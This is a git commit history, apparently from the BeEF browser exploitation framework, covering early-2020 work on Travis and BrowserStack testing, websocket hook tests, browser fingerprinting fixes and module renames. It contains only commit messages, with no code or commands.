3a46868386 this should break 2020-04-27 22:29:06 -07:00
Josh
993b288c47 updated websocket 2020-04-27 22:18:34 -07:00
Jack Walker
ac4412e1cb Testing new client side wait to increase hook consistency in test. 2020-04-28 14:56:58 +10:00
Josh
cbae450b10 checking to see if it passes with websockets diabl 2020-04-27 21:56:43 -07:00
Josh
696e6b7633 update test reference 2020-04-27 21:36:40 -07:00
Josh
1ec3546532 updated changes 2020-04-27 21:23:29 -07:00
Josh
23b53d3276 see if there is output? 2020-04-27 21:11:44 -07:00
Josh
25e139d379 browser details 2020-04-27 21:04:09 -07:00
Josh
1386e3e1c3 change debug method 2020-04-27 20:51:29 -07:00
Josh
630270b6c3 updated debug 2020-04-27 20:43:08 -07:00
Jack Walker
d3db1d5407 Small bump up to hook time to get more consistent test results. 2020-04-28 12:40:59 +10:00
Josh
0d196aa1ea updated debugging information 2020-04-27 18:52:13 -07:00
Josh
ef7663904a moved more to the before :all 2020-04-27 18:40:43 -07:00
Josh
fbe3d3555e websocket stop killing @driver 2020-04-27 18:23:31 -07:00
Josh
f17e631dd5 removed the delete_all 2020-04-27 18:07:08 -07:00
Josh
3a9d94fa85 updated debugging 2020-04-27 17:59:34 -07:00
Josh
0147ab4251 updated websocket 2020-04-27 17:58:04 -07:00
Jack Walker
b0f6f02cb6 Small bump up to hook time to get more consistent test results. 2020-04-28 08:59:39 +10:00
Josh
df617fde36 updated webbrowser 2020-04-27 00:04:40 -07:00
Josh
7fcc325482 added token which was mistakenly removed 2020-04-26 23:59:20 -07:00
Josh
49459fd9bc websocket hooked browser spec 2020-04-26 23:56:04 -07:00
Jack Walker
1784347dff Re-enabling full BrowserStack compat. checking. 2020-04-27 16:50:58 +10:00
Josh
0e1efd0f5d bugfix v0.0.1? 2020-04-26 23:47:48 -07:00
Josh
febe80d046 bugfix? (badly formatted) 2020-04-26 23:40:51 -07:00
Jack Walker
b62e4c0b3a Bumping version of failing configs. 2020-04-27 16:35:06 +10:00
Josh
3318b1e059 update api token 2020-04-26 23:31:59 -07:00
Josh
d257109a9d final check for the delete_all 2020-04-26 23:11:57 -07:00
Josh
72ebcc0bbd updated for testing 2020-04-26 22:54:11 -07:00
Josh
1f8a66a3a0 websocket 2020-04-26 22:37:19 -07:00
Josh
3040576664 updated test 2020-04-26 22:26:03 -07:00
Josh
c059799bf8 updated .travis.yml 2020-04-26 22:21:09 -07:00
Josh
f0de378f4b removed fast_finish to confirm thats the issue 2020-04-26 22:09:06 -07:00
Josh
c230cd086b debugging the websocket_hooked_browser_spec 2020-04-26 21:32:03 -07:00
Josh
d6ee3788eb fast_finish 2020-04-26 21:20:17 -07:00
Josh
27af3e90b6 fixed travis spacing erros 2020-04-26 21:06:31 -07:00
Josh
5ac339d671 update 2020-04-26 21:04:08 -07:00
Josh
383bfb9e5b checking websocket_hooked_brrowser 2020-04-26 20:35:13 -07:00
Jack Walker
5ed92934ed Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-27 13:29:34 +10:00
Jack Walker
4fb1a32ec1 Fixed bug in IE10 detection. Missing bang on git add .window.XDomainRequest 2020-04-27 13:25:07 +10:00
Jack Walker
bd743106f2 Re-enabling full BrowserStack test suite. Test run before final merge. 2020-04-27 11:30:16 +10:00
Jack Walker
6edc5ab846 Bumped min XP FF ver. 2020-04-27 11:19:45 +10:00
Jack Walker
b81f16b28d Bumped min XP FF ver. 2020-04-27 11:13:21 +10:00
Jack Walker
a0d74e9bc7 Bumped min XP FF ver. 2020-04-27 11:06:24 +10:00
Jack Walker
ba83d05681 Bumped min XP FF ver. 2020-04-27 10:46:15 +10:00
Jack Walker
11bb90c2aa Bumped min XP FF ver. 2020-04-27 10:45:31 +10:00
Jack Walker
d643388710 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:39:30 +10:00
Josh
4daff898d1 updated travis 2020-04-26 17:14:28 -07:00
Jack Walker
847cba488b Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:08:25 +10:00
Josh
e2c1956ec2 updated a catupdated travis file 2020-04-26 17:04:44 -07:00
Jack Walker
7d709c7973 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 09:58:59 +10:00
jcrew99
b048352d81 Merge pull request #2 from jackdwalker/browserstack
Browserstack
2020-04-27 09:54:25 +10:00
Jack Walker
d44b6e6729 Testing the 3 failing browsers 2020-04-27 09:23:26 +10:00
Jack Walker
4198363923 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-27 08:41:43 +10:00
Jack Walker
8f1f2d32b1 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:10:51 +10:00
Jack Walker
0086c38933 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:08:26 +10:00
Josh
9da40565d9 updated travis 2020-04-23 22:32:38 -07:00
Josh
60c307bc4e updated travis 2020-04-23 22:21:00 -07:00
Josh
41459e3c3e updated travis 2020-04-23 22:10:52 -07:00
Josh
5e51c9ffee update yaml 2020-04-23 21:56:35 -07:00
Jack Walker
bf2458392c Fixed issue causing misidentification of debug modules. 2020-04-24 14:50:00 +10:00
Jack Walker
17ae1c9894 Removed unnecessary line in build matrix causing duplciate 2020-04-24 14:23:41 +10:00
Josh
e9da991a66 updated travis 2020-04-23 21:10:34 -07:00
Jack Walker
31cd48319f Fixed issue causing misidentification of debug modules. 2020-04-24 14:10:23 +10:00
Jack Walker
c5f9cb9e5f Bumped XP min FF version compatibility to 8. 2020-04-24 13:39:55 +10:00
Josh
2f70b7c025 updated key 2020-04-23 20:21:05 -07:00
Jack Walker
66f1c25180 Bumped lowest version of Firefox compability to 7. 2020-04-24 13:11:22 +10:00
Josh
6e3ac8aff5 updated travis 2020-04-23 20:09:15 -07:00
Jack Walker
9903c02188 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:37 +10:00
Jack Walker
b7b78b84c8 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:26 +10:00
Jack Walker
d34ff17ffa Potential fix for erroring compound matcher. 2020-04-24 12:16:21 +10:00
Jack Walker
b15a8bc3d7 .or for compound expectations 2020-04-24 12:00:44 +10:00
Jack Walker
5658009f91 eql -> eq 2020-04-24 11:51:28 +10:00
Jack Walker
9f5b3c540d Re-running failing tests. 2020-04-24 11:32:10 +10:00
jcrew99
1db08ad9f6 Merge pull request #1874 from bcoles/autocomplete_theft
Replace autocomplete_theft with get_autocomplete_creds
2020-04-24 10:06:52 +10:00
jcrew99
165fc483e5 Merge pull request #1899 from beefproject/dependabot/npm_and_yarn/jsdoc-3.6.4
Bump jsdoc from 3.6.3 to 3.6.4
2020-04-24 08:56:28 +10:00
Jack Walker
2317714f0c Run tests against Browserstack w/ full OS/Browser compatability matrix. 2020-04-23 14:43:14 +10:00
Jack Walker
6fb1618a47 Re-build w/ new debugging info 2020-04-23 14:25:50 +10:00
Jack Walker
434a13ce80 Re-build w/ new debugging info 2020-04-23 14:19:35 +10:00
Jack Walker
d61b38edcb Is it only that API call failiing? 2020-04-23 14:10:46 +10:00
Jack Walker
8fd71d66e0 Running an API call prior to grabbing session - possibly keep-alive polling bug experienced in other areas is present here. 2020-04-23 13:51:46 +10:00
Jack Walker
a279c1699a Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:41 +10:00
Jack Walker
6ff10cb5dd Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:19 +10:00
Jack Walker
0b30172224 Added long sleep to definitively exclude this as a possibly for the error. 2020-04-23 13:37:58 +10:00
Jack Walker
b78ff672ce Continuing attempts to debug websocket hook test 2020-04-23 13:17:47 +10:00
Jack Walker
12317c03a5 Wrong require relative path for websocket test 2020-04-23 13:11:03 +10:00
Jack Walker
6db311da92 Wrong require relative path for websocket test 2020-04-23 12:57:26 +10:00
Jack Walker
0376aa519f Re-added deleted code that may have impacted this test. 2020-04-23 12:56:02 +10:00
Jack Walker
539a17bbee Missing necessary requires? 2020-04-23 12:53:09 +10:00
Jack Walker
0fbb46d721 Does this need to sleep until after first keep-alive? 2020-04-23 12:45:40 +10:00
Jack Walker
788623227b Debugging last 2/5 failing tests 2020-04-23 12:39:52 +10:00
Jack Walker
faaac279c1 Debugging last 2/5 failing tests 2020-04-23 12:34:24 +10:00
Jack Walker
18357dbbff Hopefully the final fix. Mis-assigned variable fix. 2020-04-23 12:27:36 +10:00
Jack Walker
25f45ba1cb Fixed test error 2020-04-23 12:22:14 +10:00
Jack Walker
f1e36647f9 Fix for driver time out. 2020-04-23 12:18:26 +10:00
Jack Walker
4fae78b4d5 Fix for driver time out. 2020-04-23 12:18:02 +10:00
Jack Walker
07037587e8 Took an easier route of acquiring the Auth token 2020-04-23 12:10:17 +10:00
Jack Walker
a4f06bbaac And now for something completely different 2020-04-23 11:56:34 +10:00
Jack Walker
f6fdaa39ac Removed line causing error from all files. 2020-04-23 11:47:20 +10:00
Jack Walker
3389a73e39 Removed line causing error, see if it works w/out 2020-04-23 11:42:27 +10:00
Jack Walker
f82d4645d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:54:51 +10:00
Jack Walker
5ee6ac4126 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:40:02 +10:00
Jack Walker
8b69279124 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:23:24 +10:00
Jack Walker
a32f4ecf7b Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:17:08 +10:00
Jack Walker
9f5452d5d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:05:21 +10:00
Jack Walker
f5ee0219f8 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:00:30 +10:00
Jack Walker
b2cb798020 maybee 2020-04-23 09:53:19 +10:00
Jack Walker
4234bf4e48 maybe? 2020-04-23 09:47:33 +10:00
Jack Walker
c6f9f182eb debugging 2020-04-23 09:28:53 +10:00
Jack Walker
91dbaa8931 y 2020-04-23 09:20:32 +10:00
Jack Walker
6100c77426 y 2020-04-23 09:04:37 +10:00
Jack Walker
1cb7103df6 Today is a new day 2020-04-23 08:53:41 +10:00
Jack Walker
1250a45fa2 Was the browser on bstacks the issue? 2020-04-22 16:32:31 +10:00
Jack Walker
44092d8519 fixed config.around hook 2020-04-22 16:25:50 +10:00
Jack Walker
6bf47508cb oops 2020-04-22 16:13:55 +10:00
Jack Walker
709e748797 Getting closer? 2020-04-22 16:12:45 +10:00
Jack Walker
af8b001ff8 How about this 2020-04-22 16:00:22 +10:00
Jack Walker
a51a555a32 This is it fixed 2020-04-22 15:44:55 +10:00
Jack Walker
96ef0f3d9a This is it 2020-04-22 15:41:55 +10:00
Jack Walker
1df856bd30 Attempt 1231829038102931 2020-04-22 15:35:06 +10:00
Jack Walker
02f34cad56 Pls fix 2020-04-22 15:27:10 +10:00
Jack Walker
97fd3f1dcb Example error fix 2020-04-22 15:10:31 +10:00
Jack Walker
4467a9e9d2 Debugging travis 2020-04-22 14:58:57 +10:00
Jack Walker
a59c4d6396 Debugging travis 2020-04-22 14:33:47 +10:00
Jack Walker
e957d7779d Debugging travis 2020-04-22 14:33:26 +10:00
Jack Walker
d21438a10c yml not yaml 2020-04-22 14:15:56 +10:00
Jack Walker
4d8395eaff Hopefully found the final fix for the Travis/Browserstack local tunnel issues 2020-04-22 14:09:32 +10:00
Jack Walker
746ef4b40a Please 2020-04-22 14:03:16 +10:00
Jack Walker
202d0ff8ab testing new matrix expansion config. 2020-04-22 13:27:21 +10:00
Jack Walker
6a32aa958f Fixed GeoIPDB install script 2020-04-22 12:54:40 +10:00
Jack Walker
02fa3af41f update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:13 +10:00
Jack Walker
764e54fda5 update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:10 +10:00
Jack Walker
80dd70660b Testing slower hook for more consistent results 2020-04-22 12:22:38 +10:00
Jack Walker
9509b68c9f Updated BrowserStack access keys for new account 2020-04-22 12:01:54 +10:00
Jack Walker
d15d68a21a Missing config.yaml file added 2020-04-22 11:44:38 +10:00
Jack Walker
0b78cf7752 Fixed last code from last commit so it doesn't fail on grabbing Ruby version 2020-04-22 11:40:16 +10:00
Jack Walker
4a020fc1ee Added code to allow sed script to find gems based on ruby version 2020-04-22 11:34:16 +10:00
Jack Walker
0b1ab1453b The case of the missing -E 2020-04-22 11:23:18 +10:00
Jack Walker
71a5d888b5 Debugging travis 2020-04-22 10:46:09 +10:00
Jack Walker
fe93c4e303 Third sed lucky 2020-04-22 10:40:53 +10:00
Jack Walker
b44275aac6 A wise man once sed writing build scripts is difficult 2020-04-22 10:35:44 +10:00
Jack Walker
d2e295c860 / not - <sigh> 2020-04-22 10:29:33 +10:00
Jack Walker
6d74889608 Added missing dependency 2020-04-22 10:25:15 +10:00
Jack Walker
68e9487781 Hopes and dreams 2020-04-22 10:21:19 +10:00
Jack Walker
ab8af27982 Trying to ascertain where travis installs its gems 2020-04-22 10:15:16 +10:00
Jack Walker
2a5d377ec1 Testing new .travis.yml script variant 2020-04-22 09:45:51 +10:00
Jack Walker
68a78c0e4d Fixed YAML extension. Was .yaml instead of .yml 2020-04-22 09:37:05 +10:00
Jack Walker
539860e333 Commit to test new travis.yml 2020-04-22 09:36:39 +10:00
Jack Walker
eada815b3b Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-21 13:17:18 +10:00
jcrew99
1bb4a5856e Merge pull request #1917 from beefproject/debug_unit_test_patch
Removed code that was unintended to be copied across in test set-up
2020-04-21 13:12:24 +10:00
Jack Walker
dc20e03569 Resolved merge conflicts from prod-beef master 2020-04-21 13:11:00 +10:00
Jack Walker
6c503e4143 Committing to merge latest prod-beef master 2020-04-21 13:05:26 +10:00
jcrew99
bd35469757 Merge pull request #1915 from beefproject/new_websocket_spec
made a new websocket test for the browser
2020-04-20 16:45:40 +10:00
Josh
54929dad9f changed the extension name 2020-04-19 23:39:57 -07:00
Josh
549df7480a updated due to feedback from reviewer 2020-04-19 23:30:20 -07:00
Jack Walker
4e241415d1 Removed code that was unintended to be copied across in test set-up 2020-04-20 16:07:13 +10:00
Josh
e43b79fa5b made a new websocket test for the browser 2020-04-19 22:24:49 -07:00
jcrew99
9649a0f857 Merge pull request #1902 from beefproject/debug_unit_tests
Added debug unit tests
2020-04-20 12:01:57 +10:00
Jack Walker
5014771060 Merge branch 'master' of github.com:beefproject/beef into debug_unit_tests 2020-04-20 11:27:20 +10:00
Jack Walker
b645a730fa Fixed extensions loading issue causing tests to run with previously loaded config. 2020-04-20 11:26:09 +10:00
Jack Walker
6ced8acd8b Found the fix for the browser hooking issues. Resolved where necessary and cleaned up tests. 2020-04-20 10:55:00 +10:00
jcrew99
1989e49df0 Merge pull request #1914 from beefproject/port_scanner_update
Final config with version details
2020-04-20 09:09:47 +10:00
salmong1t
d5d7542be2 Final config with version details 2020-04-17 00:02:57 -07:00
Jack Walker
31b039b0c5 Merge branch 'debug_unit_tests' of github.com:beefproject/beef into debug_unit_tests 2020-04-16 16:20:03 +10:00
Jack Walker
1ba8b6d29a Removed byebug + other unneeded requires. Shortened some sleeps. 2020-04-16 13:15:25 +10:00
Jack Walker
0a39de17e0 Add handling to only load modules and extensions if they are not already loaded. 2020-04-16 13:11:26 +10:00
jcrew99
abbe9db66b Merge pull request #1912 from beefproject/update_sw_port_scanner
fixed a few spelling mistakes and changed the name
2020-04-16 10:46:07 +10:00
Jack Walker
3b20c8eee9 Missing class variable tags 2020-04-16 10:33:33 +10:00
Jack Walker
55112fe492 Fixed hard coded command modules 2020-04-16 10:30:16 +10:00
Josh
1aa76f93cb fixed a few spelling mistakes and changed the name 2020-04-15 16:00:19 -07:00
Jack Walker
804fc6363a Implemented BrowserStack testing into debug module tests. 2020-04-16 08:54:04 +10:00
Jack Walker
4319f73fe7 This time for sure 2020-04-15 14:52:31 +10:00
Jack Walker
667b773cc5 PLEASE 2020-04-15 14:37:08 +10:00
Jack Walker
0a7f9ec222 Envvars pls 2020-04-15 14:13:53 +10:00
Jack Walker
7a2f90534f Fixed envvar? 2020-04-15 13:32:29 +10:00
Jack Walker
fd9c4758d5 Testing env var w/ Travis 2020-04-15 13:24:51 +10:00
Jack Walker
7406360065 Converted RSpec BrowserStack config to use Capybara instead of Selenium as we primarily use Capybara sessions in testing. 2020-04-15 12:37:28 +10:00
Jack Walker
ba81a386e1 Test cleanup. 2020-04-15 11:59:29 +10:00
Jack Walker
45034fcfe6 Removed a bunch of browsers, see if we can get tests passing. 2020-04-14 17:03:33 +10:00
Jack Walker
3619567116 Removed broken tests. Check for pass. 2020-04-14 17:02:10 +10:00
Jack Walker
a271d7656b Pushing changes that should enable BrowserStack. Partly pushing to see if we get these results in Travis. 2020-04-14 16:21:40 +10:00
Jack Walker
7a27db0b3d Reverting. 2020-04-14 12:39:06 +10:00
Jack Walker
c2c8b87cfb Testing different access_key format 2020-04-14 12:34:45 +10:00
Jack Walker
33c97ae9bb Added browserstack to list of branches Travis will build and test 2020-04-14 12:15:05 +10:00
Jack Walker
477188944d Browserstack config added to .travis.yml 2020-04-14 12:11:58 +10:00
Jack Walker
815d2e4bb8 Resolved merge conflicts from other working branch 2020-04-14 10:50:34 +10:00
Jack Walker
c610aa1666 Fixed change to config.yaml creds 2020-04-14 10:41:32 +10:00
Jack Walker
0ffd87059a Resolved issues preventing server starting w/ test. Tests now passing. 2020-04-14 10:40:50 +10:00
jcrew99
6431df68cf Merge pull request #1905 from beefproject/refining_websocket_tests
Refining websocket tests
2020-04-09 13:48:52 +10:00
jcrew99
4a0f8360c9 Merge pull request #1904 from beefproject/fix_default_values
moving these back to defaults
2020-04-09 13:45:20 +10:00
Grant Burgess
340279f91c Removed byebug dependency 2020-04-09 13:45:11 +10:00
jcrew99
5837502670 Merge pull request #1903 from beefproject/dockerize_beef
Added Dockerfile
2020-04-09 13:29:56 +10:00
Josh
4e0a2bb465 moving these back to defaults 2020-04-08 20:26:15 -07:00
Jack Walker
a3eca63504 Added Dockerfile 2020-04-09 13:03:37 +10:00
Jack Walker
d8fac13f8f Trying to automate API server 2020-04-09 13:03:08 +10:00
Grant Burgess
3c6aca28fd Added websocket client gem for testing 2020-04-09 12:30:28 +10:00
Grant Burgess
67d0c8bca2 Added a new test and modified the others. 2020-04-09 12:30:08 +10:00
Jack Walker
71cecf4e5e Added debug unit tests 2020-04-09 12:12:09 +10:00
jcrew99
e5381e3c93 Merge pull request #1900 from beefproject/update_ARE_rules
fiexed broken values
2020-04-07 17:58:39 +10:00
Josh
6db2a6f4f8 fiexed broken values 2020-04-07 00:56:18 -07:00
dependabot-preview[bot]
9bfa8d00f7 Bump jsdoc from 3.6.3 to 3.6.4
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 3.6.3 to 3.6.4.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/3.6.4/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/3.6.3...3.6.4)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-04-07 07:25:02 +00:00
jcrew99
5841265ffa Merge pull request #1898 from beefproject/update_sw_port_scanner_module
updated command.js for sw_network_proxy
2020-04-07 09:58:38 +10:00
Josh
378728a6e0 updated command.js for sw_network_proxy 2020-04-06 16:50:20 -07:00
jcrew99
e445a2c2d3 Merge pull request #1897 from beefproject/updated_travis_ci
added a new rvm language for the docker container
2020-04-07 09:32:13 +10:00
Josh
1d0513a4b6 added a new rvm language for the docker container 2020-04-06 16:19:25 -07:00
jcrew99
2ed8afa647 Merge pull request #1896 from beefproject/update_sw_port_scanner_module
updated command js for more funcionality
2020-04-06 18:20:35 +10:00
Josh
2528381f0d updated command js for more funcionality 2020-04-06 01:13:54 -07:00
jcrew99
4acaab249d Merge pull request #1895 from beefproject/remove_arerule_from_enabled_by_default
Remove arerule from enabled by default
2020-04-06 11:46:04 +10:00
Josh
50ed49282b removed the console.log 2020-04-05 18:36:52 -07:00
Josh
28e43b23f5 removing Are rules from enabled by default 2020-04-05 18:31:35 -07:00
jcrew99
097effe376 Merge pull request #1894 from beefproject/create_sw_port_scanner
Create sw port scanner
2020-04-06 10:35:55 +10:00
jcrew99
132fca5d94 Merge pull request #1891 from aburro/master
Prevent breaking BeEF due to my split work on hook
2020-04-05 19:10:30 +10:00
jcrew99
38437f5536 Merge pull request #1893 from beefproject/travis_ci_change
should make travis.ci only run on master, fix the current error
2020-04-05 18:57:31 +10:00
Josh
7c5578329f should make travis.ci only run on master 2020-04-05 18:45:37 +10:00
Josh
f8ec92d069 updates 2020-04-03 00:14:25 -07:00
aaron
326b8e2e36 Merge https://github.com/beefproject/beef 2020-04-03 16:12:22 +10:00
aaron
7df4a714e3 Haha passwords 2020-04-03 16:11:40 +10:00
Grant Burgess
698b36c929 Fixed password change 2020-04-03 16:09:56 +10:00
aaron
e7157aa759 Made sure BeEF not broken 2020-04-03 16:01:53 +10:00
aaron
ad908e1813 Split on config 2020-04-03 15:42:16 +10:00
Josh
a142521f17 updated the module, more to go 2020-04-02 22:41:26 -07:00
Grant Burgess
a32f9f57f2 Merge pull request #1887 from aburro/master
Updating portscanner for modern browsers
2020-04-03 15:32:26 +10:00
nomad
60a0ca0807 Added basic websocket tests 2020-04-03 14:58:39 +10:00
aaron
93ed26d10f Moved failed beefJS split into hooked instead of into BeEFJS 2020-04-03 14:37:48 +10:00
aaron
3f59aa2d9c Legacy beef not working :( 2020-04-03 13:52:08 +10:00
aaron
f836748718 Finished legacy pivot 2020-04-03 13:22:56 +10:00
aaron
419789baf5 Finished legacy pivot 2020-04-03 13:22:47 +10:00
aaron
9074ed0b22 Based on tests updated poc code for port scanner 2020-04-02 18:38:18 +10:00
aaron
7c1c7d6108 Fixed merge conflict 2020-04-02 17:17:21 +10:00
aaron
89c08b5ffd Merge https://github.com/beefproject/beef 2020-04-02 17:16:20 +10:00
jcrew99
6ebb8a0e04 Merge pull request #1888 from beefproject/fixed_offline_browser_bug_when_using_websockets
Changed how websocket hooked browsers time out
2020-04-02 16:23:35 +10:00
Grant Burgess
1b837dbd27 Removed require byebug 2020-04-02 15:52:33 +10:00
Grant Burgess
89b9c53239 Changed how websocket hooked browsers time out 2020-04-02 15:39:30 +10:00
aaron
53b283b71d Commenting GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:23:26 +10:00
aaron
24ee0c5095 Adding GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:21:33 +10:00
aaron
d192522865 Merge https://github.com/beefproject/beef 2020-04-02 13:14:46 +10:00
jcrew99
803fd6d3e7 Merge pull request #1886 from beefproject/update_session_id
this was a change that needed to be update
2020-04-02 12:16:41 +10:00
Josh
a84dbcb005 this was a change that needed to be update 2020-04-01 19:15:07 -07:00
aburro
d63511dd94 Update command.js 2020-04-02 09:42:59 +10:00
aaron
f317caf88a Merge https://github.com/beefproject/beef 2020-04-01 17:59:51 +10:00
aaron
3b27cd65d8 End of day code 2020-04-01 17:55:12 +10:00
AussieKlutz
dcb946dfa2 First cut, automated scan using new sw_port_scanner module. 2020-04-01 14:38:14 +10:00
AussieKlutz
aae313fee0 Removed extraneous comma, due to a commented option 2020-04-01 14:21:41 +10:00
aaron
f28bc603ad Starting promise based port scanner 2020-04-01 14:06:55 +10:00
jcrew99
010e86dc0d Merge pull request #1885 from beefproject/update_networkservice
updated to what was changed for the networkservice
2020-04-01 13:30:33 +10:00
Josh
591ebf6d83 updated to what was changed for the networkservice 2020-03-31 20:21:53 -07:00
aaron
047b18ec88 Updated to correct module 2020-04-01 12:34:42 +10:00
aaron
10f367eb5a Portscan multihosts 2020-04-01 12:29:53 +10:00
aaron
3c3b3e2595 Modified lan_portscan for name 2020-04-01 12:22:52 +10:00
root
d1f778dab0 Added portscan arerule 2020-04-01 12:14:01 +10:00
Brendan Coles
7a80e5f6ec Replace autocomplete_theft with get_autocomplete_creds 2020-02-12 13:53:24 +00:00
jcrew99
e820619a74 Merge pull request #1870 from H4xl0r/patch-1
Update update-geoipdb
2020-02-11 13:56:31 +10:00
bcoles
38447da541 Merge pull request #1873 from bcoles/core-extensions
BeEF::Extension: Add debug output for extension handling
2020-02-08 20:01:38 +11:00
Brendan Coles
4e2bfc4247 BeEF::Extension: Add debug output for extension handling 2020-02-08 09:02:45 +00:00
jcrew99
714e320a12 Merge pull request #1866 from superuserx/master
Fixed build_recursive_tree()
2020-02-04 14:41:37 +10:00
H4xl0r
ce62541439 Update update-geoipdb
geolite changed access 
fixed by getting files from web.archive 
This is a temp solution eg. not updated !
2020-02-02 21:08:00 +01:00
jcrew99
03222d605f Merge pull request #1868 from beefproject/updated_Pull_Request_Template
Updated pull request template
2020-01-30 17:27:10 +10:00
josh
e6d689d90e updated pull request template 2020-01-30 07:13:15 +00:00
josh
d808585049 updated pull request 2020-01-30 07:11:41 +00:00
superuserx
5d5a67e177 Fixed build_recursive_tree() 2020-01-26 20:11:07 +01:00
jcrew99
a038dee9d8 Merge pull request #1863 from beefproject/zombie_id_fix
update the destroy to destroy all
2020-01-23 12:27:58 +10:00
josh
fb5e90c499 browser details 2020-01-23 02:14:19 +00:00
Josh Crew
ac49a53814 update the destroy to destroy all 2020-01-20 10:54:19 +00:00
jcrew99
27ca299efe Merge pull request #1862 from beefproject/destroy_id_fix
Revert "related to the change in how ID is used"
2020-01-20 10:48:49 +10:00
Josh Crew
120a1c3f62 Revert "related to the change in how ID is used"
This reverts commit 453e4bacab.

Needs to be reviewed
2020-01-20 10:36:42 +00:00
Josh Crew
453e4bacab related to the change in how ID is used 2020-01-20 10:26:28 +00:00
jcrew99
23dc5c7114 Merge pull request #1861 from beefproject/bcoles-patch-2
Use OID-style key/value data for BrowserDetails network details
2020-01-20 10:32:17 +10:00
bcoles
6106854dbe Merge pull request #1860 from beefproject/bcoles-patch-1
Add Ruby 2.7.0 to travis.yml
2020-01-19 16:25:47 +11:00
bcoles
cc21bb644b Use OID-style key/value data for BrowserDetails network details 2020-01-18 20:35:07 +11:00
bcoles
96704088dc Add Ruby 2.7.0 to travis.yml 2020-01-18 19:53:14 +11:00
jcrew99
b84872e521 Merge pull request #1858 from beefproject/fix-1851
fixing #1851
2020-01-17 16:25:02 +10:00
Haoxi Tan
9a59297daf add comment 2020-01-17 14:29:41 +10:00
Haoxi Tan
cbe5381997 fixing test 2020-01-17 13:05:43 +10:00
Haoxi Tan
27514b93d3 fixing test 2020-01-17 12:55:37 +10:00
Haoxi Tan
39c07feeb2 fixing test 2020-01-17 12:30:17 +10:00
Haoxi Tan
3507ffe652 fixing test 2020-01-17 12:14:02 +10:00
Haoxi Tan
43e2e5bec0 increasing test delay for hook victim 2020-01-17 12:02:30 +10:00
Haoxi Tan
62186583a6 fixing #1851 2020-01-17 11:41:07 +10:00
bcoles
ac2627383d Merge pull request #1853 from bcoles/assethandler
Add error handling and minor code cleanup
2020-01-16 23:37:42 +11:00
Haoxi Tan
811d20eea0 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-16 13:03:04 +10:00
jcrew99
cbd42c198a Merge pull request #1857 from beefproject/fix-1852
fixing issue #1852
Passes fine
2020-01-16 12:07:39 +10:00
Haoxi Tan
282575f9a6 killing things properly in tests involving beef http server 2020-01-16 11:52:04 +10:00
Haoxi Tan
cecbabe42a added test for fixing #1852 2020-01-16 11:29:59 +10:00
Haoxi Tan
7d9a235bbf Revert "fixing issue #1852"
This reverts commit 375c0d9b8b.
2020-01-16 11:24:11 +10:00
Haoxi Tan
375c0d9b8b fixing issue #1852 2020-01-16 11:18:09 +10:00
Haoxi Tan
4ac293a2e5 updated browser details test 2020-01-16 11:17:15 +10:00
Haoxi Tan
00eaa6a661 fixing tests 2020-01-15 14:51:04 +10:00
Haoxi Tan
fc1b0c6da4 commented out simplecov 2020-01-15 14:45:29 +10:00
Haoxi Tan
d417645b28 fixed ARE engine issue #1855 2020-01-15 14:30:31 +10:00
Haoxi Tan
3f314fc055 fixing test 2020-01-15 13:58:53 +10:00
Haoxi Tan
d2f3c7fbe2 added tests for browser details handler 2020-01-15 13:47:46 +10:00
Grant Burgess
a46a2fe2c1 Merge branch 'master' of github.com:beefproject/beef 2020-01-15 12:56:25 +10:00
Grant Burgess
d76294735c Fixed issue where pull request #1846 changes were
not merged to master.
2020-01-15 12:55:17 +10:00
Brendan Coles
976eb5ec1c Add error handling and minor code cleanup 2020-01-14 07:06:55 +00:00
Haoxi Tan
3770b43534 updated PR template 2020-01-14 15:13:53 +10:00
Haoxi Tan
ee1739b200 updated PR template 2020-01-14 15:12:56 +10:00
Haoxi Tan
c01c07ad81 updated PR template 2020-01-14 15:02:44 +10:00
Haoxi Tan
256377a8db updated PR template 2020-01-14 15:01:34 +10:00
Haoxi Tan
17b0949f02 added pull request template 2020-01-14 14:57:58 +10:00
Haoxi Tan
ce72aa8fc0 added CONTRIBUTING and SECURITY md files in .github 2020-01-14 14:40:56 +10:00
Grant Burgess
bac84f4f26 Merge pull request #1849 from beefproject/fix_tests_to_run_in_random_order
Set the credentials before test runs
2020-01-14 10:40:59 +10:00
Grant Burgess
4d7810e730 Set the credentials before test runs 2020-01-14 10:31:30 +10:00
Grant Burgess
9945fcd3eb Merge pull request #1848 from beefproject/fix_broken_admin_ui_access
Fixed test to run in random order
2020-01-14 10:29:39 +10:00
Grant Burgess
ce4f480957 Fixed test to run in random order 2020-01-14 10:00:03 +10:00
jcrew99
079f3dae56 Merge pull request #1847 from beefproject/reset_head
Reset head
2020-01-13 14:37:24 +10:00
jcrew99
7e4f636869 Merge pull request #1846 from beefproject/fix_tests_to_run_in_random_order
Fix tests to run in random order
2020-01-13 13:10:44 +10:00
jcrew99
